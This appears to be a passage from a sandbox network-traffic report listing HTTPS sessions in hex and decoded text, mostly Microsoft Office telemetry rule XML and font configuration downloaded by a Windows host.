2024-10-26 11:44:49 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-26 11:44:50 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=104412 Date: Sat, 26 Oct 2024 11:44:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-26 11:44:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:44:57 UTC	540	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 11:03:28 GMT ETag: "0x8DCF4E4A7F3A397" x-ms-request-id: 52d5a461-501e-00a0-17e5-269d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114457Z-15b8d89586ffsjj9qb0gmb1stn00000006400000000050zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:44:57 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-26 11:44:57 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-26 11:44:57 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-26 11:44:58 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:44:59 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 23ba7a24-801e-0015-5af3-24f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114459Z-r197bdfb6b42rt68rzg9338g1g000000035g0000000037f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:44:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:59 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:44:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:59 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6b50d5b8-301e-005d-5751-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114459Z-r197bdfb6b4grkz4xgvkar0zcs00000001dg00000000abbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:44:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:59 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:44:59 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:59 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 01edb726-501e-000a-4732-270180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114459Z-15b8d89586fvk4kmbg8pf84y8800000002v0000000005r9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:44:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:59 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:44:59 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:44:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114459Z-16849878b787bfsh7zgp804my400000000p000000000eezf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:44:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:44:59 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
